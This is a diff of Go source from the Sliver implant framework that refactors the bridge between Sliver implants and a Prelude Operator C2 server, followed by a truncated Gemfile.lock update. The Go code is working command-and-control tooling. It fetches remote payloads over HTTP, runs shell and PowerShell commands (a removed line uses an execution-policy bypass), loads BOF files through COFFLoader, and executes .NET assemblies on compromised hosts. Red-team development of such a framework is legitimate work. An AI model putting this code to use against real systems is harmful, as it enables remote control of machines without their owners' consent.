+			}
+			return nil
+		}),
+	}
+
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	targetInfo := findTargetInfoByID(taskCtx, targetID)
+	if targetInfo == nil {
+		return []byte{}, ErrTargetNotFound
+	}
+	ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
+	if err := chromedp.Run(ctx, screenshotTask); err != nil {
+		return nil, err
+	}
+	return result, nil
+}
@@ -1,166 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"bytes"
-	"context"
-	"encoding/json"
-	"fmt"
-	"io"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/prelude/util"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	defaultTimeout = 60
-	delim          = "\r\n"
-)
-
-type AgentSession struct {
-	Conn    *net.Conn
-	Session *clientpb.Session
-	RPC     rpcpb.SliverRPCClient
-	Beacon  Beacon
-	Config  AgentConfig
-}
-
-func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
-	return &AgentSession{
-		Conn:    c,
-		Session: s,
-		RPC:     rpc,
-		Config:  conf,
-		Beacon:  b,
-	}
-}
-
-func (a *AgentSession) ReceiveLoop() {
-	for {
-		err := a.send()
-		if err != nil {
-			return
-		}
-		scanner := bufio.NewScanner(*a.Conn)
-		for scanner.Scan() {
-			message := strings.TrimSpace(scanner.Text())
-			err = a.respond(message)
-			if err != nil {
-				return
-			}
-		}
-	}
-}
-
-func (a *AgentSession) send() error {
-	data, err := json.Marshal(a.Beacon)
-	if err != nil {
-		return err
-	}
-	dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
-	sendBuffer := make([]byte, 1024)
-	for {
-		_, err := dataBuff.Read(sendBuffer)
-		if err == io.EOF {
-			return nil
-		}
-		if err != nil {
-			return err
-		}
-		if _, err = (*a.Conn).Write(sendBuffer); err != nil {
-			return err
-		}
-		time.Sleep(time.Duration(a.Beacon.Sleep))
-	}
-}
-
-func (a *AgentSession) respond(message string) error {
-	var tempBeacon Beacon
-	if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
-		a.Beacon.Links = a.Beacon.Links[:0]
-		a.runLinks(&tempBeacon)
-	}
-	a.refreshBeacon(&a.Config)
-	a.send()
-	return nil
-}
-
-func (a *AgentSession) runLinks(tempBeacon *Beacon) {
-	for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
-		time.Sleep(time.Second * 1)
-		var payload []byte
-		if link.Payload != "" {
-			payload, _ = requestPayload(link.Payload)
-		}
-		response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
-		link.Response = response
-		link.Status = status
-		link.Pid = pid
-		a.Beacon.Links = append(a.Beacon.Links, link)
-		a.Config.EndInstruction(link)
-	}
-}
-
-func requestPayload(target string) ([]byte, error) {
-	resp, err := http.Get(target)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
-	}
-	return ioutil.ReadAll(resp.Body)
-}
-
-func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
-	var pwd string
-	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a.Session),
-	})
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	a.Beacon.Sleep = conf.Sleep
-	a.Beacon.Range = conf.Range
-	a.Beacon.Pwd = pwd
-	a.Beacon.Target = conf.Address
-	a.Beacon.Executing = conf.BuildExecutingHash()
-
-}
-
-func MakeRequest(session *clientpb.Session) *commonpb.Request {
-	if session == nil {
-		return nil
-	}
-	timeout := int64(defaultTimeout)
-	return &commonpb.Request{
-		SessionID: session.ID,
-		Timeout:   timeout,
-	}
-}
@@ -1,5 +1,23 @@
 package prelude

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"bytes"
 	"context"
@@ -9,7 +27,6 @@ import (

 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -25,9 +42,9 @@ type bofArgs struct {
 	Value   interface{} `json:"value"`
 }

-func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
-	if !isLoaderLoaded(session, rpc) {
-		err = registerLoader(session, rpc)
+func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	if !isLoaderLoaded(implant, rpc) {
+		err = registerLoader(implant, rpc)
 		if err != nil {
 			return
 		}
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	}
 	for _, a := range args {
 		switch a.ArgType {
+		case "integer":
+			fallthrough
 		case "int":
 			if v, ok := a.Value.(float64); ok {
 				err = bofArgs.AddInt(uint32(v))
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 		ServerStore: false,
 		Args:        extArgsBuffer,
 		Export:      loaderEntryPoint,
-		Request:     MakeRequest(session),
+		Request:     MakeRequest(implant),
 	})

 	if err != nil {
 		return
 	}

+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
 	if extResp.Response != nil && extResp.Response.Err != "" {
 		err = errors.New(extResp.Response.Err)
 	}
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	return
 }

-func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
+func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
 	var coffLoaderPath string

-	switch session.Arch {
+	switch implant.GetArch() {
 	case "amd64":
 		coffLoaderPath = "COFFLoader.x64.dll"
 	case "386":
 		coffLoaderPath = "COFFLoader.x86.dll"
 	}
-	loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
+	loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
 	loaderData, err := ioutil.ReadFile(loaderPath)
 	if err != nil {
 		return err
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    coffLoaderName,
 		Data:    loaderData,
-		OS:      session.OS,
+		OS:      implant.GetOS(),
 		Init:    "",
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return err
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	return nil
 }

-func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
+func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
 	extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return false
@@ -0,0 +1,206 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+const (
+	defaultTimeout = 60
+	delim          = "\r\n"
+)
+
+// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
+// to a Prelude Operator implant with a TCP transport.
+type OperatorImplantBridge struct {
+	Conn           *net.Conn
+	Implant        ActiveImplant
+	RPC            rpcpb.SliverRPCClient
+	PBeacon        OperatorBeacon
+	BeaconCallback func(string, func(*clientpb.BeaconTask))
+	Config         AgentConfig
+
+	recv chan []byte
+	send chan []byte
+}
+
+func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
+	return &OperatorImplantBridge{
+		Conn:           c,
+		Implant:        a,
+		RPC:            rpc,
+		Config:         conf,
+		BeaconCallback: callback,
+		PBeacon:        pbeacon,
+		recv:           make(chan []byte),
+		send:           make(chan []byte),
+	}
+}
+
+func (a *OperatorImplantBridge) register() {
+	data, err := json.Marshal(a.PBeacon)
+	if err != nil {
+		return
+	}
+	encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
+	dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+	(*a.Conn).Write(dataBuff)
+}
+
+func (a *OperatorImplantBridge) ReceiveLoop() {
+	a.register()
+	go func() {
+		for {
+			data := <-a.send
+			encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
+			dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+			(*a.Conn).Write(dataBuff)
+			time.Sleep(time.Duration(a.PBeacon.Sleep))
+		}
+	}()
+	for {
+		scanner := bufio.NewScanner(*a.Conn)
+		for scanner.Scan() {
+			msg := strings.TrimSpace(scanner.Text())
+			a.handleMessage(msg)
+		}
+	}
+}
+
+func (a *OperatorImplantBridge) handleMessage(message string) {
+	var tempBeacon OperatorBeacon
+	decoded, err := hex.DecodeString(message)
+	if err != nil {
+		return
+	}
+	if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
+		a.PBeacon.Links = a.PBeacon.Links[:0]
+		a.runLinks(&tempBeacon)
+	}
+}
+
+func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
+	for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
+		time.Sleep(time.Second * 1)
+		var payload []byte
+		if link.Payload != "" {
+			payload, _ = requestPayload(link.Payload)
+		}
+
+		// If we're running on a Beacon
+		if implantBridge.BeaconCallback != nil {
+			RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
+				link.Response = response
+				link.Status = status
+				link.Pid = pid
+				implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+				implantBridge.Config.EndInstruction(link)
+				implantBridge.refreshBeacon()
+				data, err := json.Marshal(implantBridge.PBeacon)
+				if err != nil {
+					return
+				}
+				implantBridge.send <- data
+			})
+			return
+		}
+		// Running on a Session
+		response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
+		link.Response = response
+		link.Status = status
+		link.Pid = pid
+		implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+		implantBridge.Config.EndInstruction(link)
+		implantBridge.refreshBeacon()
+		data, err := json.Marshal(implantBridge.PBeacon)
+		if err != nil {
+			return
+		}
+		implantBridge.send <- data
+
+	}
+}
+
+func requestPayload(target string) ([]byte, error) {
+	resp, err := http.Get(target)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
+	}
+	return ioutil.ReadAll(resp.Body)
+}
+
+func (a *OperatorImplantBridge) refreshBeacon() {
+	var pwd string
+	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: MakeRequest(a.Implant),
+	})
+	if pwdResp != nil {
+		pwd = pwdResp.Path
+	}
+	a.PBeacon.Sleep = a.Config.Sleep
+	a.PBeacon.Range = a.Config.Range
+	a.PBeacon.Pwd = pwd
+	a.PBeacon.Target = a.Config.Address
+	a.PBeacon.Executing = a.Config.BuildExecutingHash()
+
+}
+
+func MakeRequest(a ActiveImplant) *commonpb.Request {
+	timeout := int64(defaultTimeout)
+	req := &commonpb.Request{
+		Timeout: timeout,
+	}
+	if a == nil {
+		return nil
+	}
+
+	beacon, ok := a.(*clientpb.Beacon)
+	if ok {
+		req.BeaconID = beacon.ID
+		req.Async = true
+		return req
+	}
+	session, ok := a.(*clientpb.Session)
+	if ok {
+		req.SessionID = session.ID
+		req.Async = false
+		return req
+	}
+
+	return nil
+}
@@ -2,7 +2,7 @@ package prelude

 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox

 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
 	"fmt"
 	"strings"

+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 )

 //RunCommand executes a given command
-func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
+func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
 	switch executor {
 	case "keyword":
 		task := splitMessage(message, '.')
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			if payload == nil {
 				return "missing BOF file", ErrorExitStatus, ErrorExitStatus
 			}
-			out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
+			out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
+			if err != nil {
+				return err.Error(), ErrorExitStatus, ErrorExitStatus
+			}
+			return out, 0, 0
+		case "execute-assembly":
+			if len(task) < 2 {
+				break
+			}
+			var eaargs execasmArgs
+			argStr := strings.ReplaceAll(task[1], `\`, `\\`)
+			err := json.Unmarshal([]byte(argStr), &eaargs)
+			if err != nil {
+				return err.Error(), ErrorExitStatus, ErrorExitStatus
+			}
+			if payload == nil {
+				return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
+			}
+			out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
 		}
 	default:
-		bites, status, pid := execute(message, executor, agentSession)
+		bites, status, pid := execute(message, executor, agentSession, onFinish)
 		return string(bites), status, pid
 	}
 	return "", ErrorExitStatus, ErrorExitStatus
 }

-func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
+func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
 	args := append(getCmdArg(executor), cmd)
 	if executor == "psh" {
 		executor = "powershell.exe"
+	} else if executor == "exec" {
+		commandSections := strings.Fields(cmd)
+		executor = commandSections[0]
+		args = commandSections[1:]
 	}
-	execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
+	execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
 		Path:    executor,
 		Args:    args,
 		Output:  true,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(implantBridge.Implant),
 	})

 	if err != nil {
-		return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
+		return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
 	}

+	// Beacon
+	if execResp.Response != nil && execResp.Response.Async {
+		implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execResp)
+			if err != nil {
+				return
+			}
+			onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
+		})
+		return "", 0, 0
+	}
+
+	// Session
 	if execResp.Response != nil && execResp.Response.Err != "" {
-		return execResp.Response.Err, 0, 0
+		return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
 	}
 	return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
 }
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
 	var args []string
 	switch executor {
 	case "cmd":
-		args = []string{"/C", "/S"}
+		args = []string{"/S", "/C"}
 	case "powershell", "psh":
-		args = []string{"-execu", "ByPasS", "-C"}
+		args = []string{"-execu", "-C"}
+	case "exec":
+		args = []string{}
 	case "sh", "bash", "zsh":
 		args = []string{"-c"}
 	}
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
 	return values
 }

-func shutdown(agentSession *AgentSession) (string, int, int) {
+func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
 	_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
 		Force:   false,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(agentSession.Implant),
 	})
 	if err != nil {
 		return err.Error(), ErrorExitStatus, ErrorExitStatus
 	}
-	return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
+	return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
 }
@@ -2,7 +2,7 @@ package prelude

 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox

 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (

 type Configuration interface {
 	ApplyConfig(ac map[string]interface{})
-	BuildBeacon() Beacon
+	BuildBeacon() OperatorBeacon
 }

 type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
 	Executing      map[string]Instruction
 }

-type Beacon struct {
+type OperatorBeacon struct {
 	Name      string
 	Target    string
 	Hostname  string
@@ -0,0 +1,68 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+type execasmArgs struct {
+	IsDLL        bool   `json:"isDLL"`
+	Process      string `json:"process"`
+	Arguments    string `json:"arguments"`
+	Architecture string `json:"architecture"`
+	Method       string `json:"method"`
+	Class        string `json:"class"`
+	AppDomain    string `json:"appDomain"`
+}
+
+func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   MakeRequest(implant),
+		IsDLL:     args.IsDLL,
+		Process:   args.Process,
+		Arguments: args.Arguments,
+		Assembly:  asm,
+		Arch:      args.Architecture,
+		Method:    args.Method,
+		ClassName: args.Class,
+		AppDomain: args.AppDomain,
+	})
+
+	if err != nil {
+		return
+	}
+
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
+	if extResp.Response != nil && extResp.Response.Err != "" {
+		err = errors.New(extResp.Response.Err)
+	}
+	output = string(extResp.Output)
+
+	return
+}
@@ -2,7 +2,7 @@ package prelude

 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox

 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
 import (
 	"context"
 	"errors"
-	"fmt"
 	"net"
 	"sync"

@@ -31,7 +30,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )

-var SessionMapper *PreludeSessionMapper
+var ImplantMapper *OperatorImplantMapper

 const defaultImplantSleep = 5

@@ -42,30 +41,45 @@ type OperatorConfig struct {
 	AESKey      string
 }

-type PreludeSessionMapper struct {
-	sessions []*AgentSession
-	conf     *OperatorConfig
+// OperatorImplantMapper maps an OperatorConfig with
+// active Sliver implant sessions/beacons
+type OperatorImplantMapper struct {
+	implantBridges []*OperatorImplantBridge
+	conf           *OperatorConfig
 	sync.Mutex
 }

-func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
-	if SessionMapper == nil {
-		SessionMapper = &PreludeSessionMapper{
-			sessions: make([]*AgentSession, 0),
-			conf:     conf,
-		}
-	}
-	return SessionMapper
+// ActiveImplant exposes common methods between
+// Sliver clientpb.Session and clientpb.Beacon
+// that are required by Operator implants
+type ActiveImplant interface {
+	GetID() string
+	GetHostname() string
+	GetPID() int32
+	GetOS() string
+	GetArch() string
+	GetFilename() string
+	GetReconnectInterval() int64
 }

-func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
+func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
+	if ImplantMapper == nil {
+		ImplantMapper = &OperatorImplantMapper{
+			implantBridges: make([]*OperatorImplantBridge, 0),
+			conf:           conf,
+		}
+	}
+	return ImplantMapper
+}
+
+func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
 	var pwd string
 	conn, err := net.Dial("tcp", p.conf.OperatorURL)
 	if err != nil {
 		return err
 	}
 	pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(s),
+		Request: MakeRequest(a),
 	})
 	if err != nil {
 		return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 	if pwdResp != nil {
 		pwd = pwdResp.Path
 	}
-	// Operator implants have embedded static IDs, but we don't,
-	// so to avoid having multiple sessions showing as one on the Operator
-	// GUI, we need to have a unique name for them.
-	// Plus, having the ID in the name will help the user to make the
-	// correlation.
-	sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
-	beacon := Beacon{
-		Name:      sessName,
+
+	// Use a default sleep time for sessions,
+	// but respect the one we have for beacons
+	sleepTime := defaultImplantSleep
+	if b, ok := a.(*clientpb.Beacon); ok {
+		sleepTime = int(b.ReconnectInterval)
+	}
+
+	beacon := OperatorBeacon{
+		Name:      a.GetID(),
 		Target:    p.conf.OperatorURL,
-		Hostname:  s.Hostname,
-		Location:  s.Filename,
-		Platform:  s.OS,
+		Hostname:  a.GetHostname(),
+		Location:  a.GetFilename(),
+		Platform:  a.GetOS(),
 		Range:     p.conf.Range,
-		Executors: util.DetermineExecutors(s.OS, s.Arch),
+		Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
 		Links:     make([]Instruction, 0),
 		Executing: "",
 		Pwd:       pwd,
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}

 	if p.conf.AESKey == "" {
 		return errors.New("missing AES key")
 	}
+	a.GetID()
 	encryptionKey := p.conf.AESKey
 	agentConfig := AgentConfig{
-		Name:      sessName,
+		Name:      a.GetID(),
 		AESKey:    encryptionKey,
 		Range:     p.conf.Range,
 		Contact:   "tcp",
 		Address:   p.conf.OperatorURL,
-		Pid:       int(s.PID),
+		Pid:       int(a.GetPID()),
 		Executing: make(map[string]Instruction),
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
-	util.EncryptionKey = &agentConfig.AESKey
-	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
+	bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
 	p.Lock()
-	p.sessions = append(p.sessions, agentSession)
+	p.implantBridges = append(p.implantBridges, bridge)
 	p.Unlock()
-	go agentSession.ReceiveLoop()
+	go bridge.ReceiveLoop()
 	return nil
 }

-func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
+func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
 	p.Lock()
-	for _, agentSession := range p.sessions {
-		if agentSession.Session.ID == s.ID {
-			if agentSession.Conn != nil {
-				err = (*agentSession.Conn).Close()
+	for _, bridge := range p.implantBridges {
+		if bridge.Implant.GetID() == imp.GetID() {
+			if bridge.Conn != nil {
+				err = (*bridge.Conn).Close()
 			} else {
 				err = errors.New("connection is nil")
 			}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
 	return err
 }

-func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
+func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
 	return p.conf
 }
@@ -21,25 +21,23 @@ package util
 func DetermineExecutors(platform string, arch string) []string {
 	platformExecutors := map[string]map[string][]string{
 		"windows": {
-			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe"},
-			"executor": {"pwsh", "psh", "cmd", "bof"},
+			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
+			"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
 		},
 		"linux": {
-			"file":     {"python3", "pwsh", "sh", "bash"},
-			"executor": {"python", "pwsh", "sh", "bash"},
+			"file":     {"python3", "sh", "bash"},
+			"executor": {"python", "sh", "bash"},
 		},
 		"darwin": {
-			"file":     {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
-			"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
+			"file":     {"python3", "zsh", "sh", "osascript", "bash"},
+			"executor": {"python", "zsh", "sh", "osa", "bash"},
 		},
 	}
 	var executors []string
 	for platformKey, platformValue := range platformExecutors {
 		if platform == platformKey {
 			for i := range platformValue["file"] {
-				// if checkIfExecutorAvailable(platformValue["file"][i]) {
 				executors = append(executors, platformExecutors[platformKey]["executor"][i])
-				// }
 			}
 		}
 	}
@@ -1,7 +1,7 @@
 GEM
  remote: https://rubygems.org/
  specs:
-    activesupport (6.0.4)
+    activesupport (6.0.4.6)
      concurrent-ruby (~> 1.0, >= 1.0.2)
      i18n (>= 0.7, < 2)
      minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
      execjs
    coffee-script-source (1.11.1)
    colorator (1.1.0)
-    commonmarker (0.17.13)
-      ruby-enum (~> 0.5)
+    commonmarker (0.23.4)
    concurrent-ruby (1.1.9)
-    dnsruby (1.61.7)
+    dnsruby (1.61.9)
      simpleidn (~> 0.1)
-    em-websocket (0.5.2)
+    em-websocket (0.5.3)
      eventmachine (>= 0.12.9)
-      http_parser.rb (~> 0.6.0)
-    ethon (0.14.0)
+      http_parser.rb (~> 0)
+    ethon (0.15.0)
      ffi (>= 1.15.0)
    eventmachine (1.2.7)
    execjs (2.8.1)
-    faraday (1.5.0)
+    faraday (1.10.0)
      faraday-em_http (~> 1.0)
      faraday-em_synchrony (~> 1.0)
      faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0.1)
+      faraday-httpclient (~> 1.0)
+      faraday-multipart (~> 1.0)
      faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.1)
+      faraday-net_http_persistent (~> 1.0)
      faraday-patron (~> 1.0)
-      multipart-post (>= 1.2, < 3)
+      faraday-rack (~> 1.0)
+      faraday-retry (~> 1.0)
      ruby2_keywords (>= 0.0.4)
    faraday-em_http (1.0.0)
    faraday-em_synchrony (1.0.0)
    faraday-excon (1.1.0)
    faraday-httpclient (1.0.1)
+    faraday-multipart (1.0.3)
+      multipart-post (>= 1.2, < 3)
    faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.1.0)
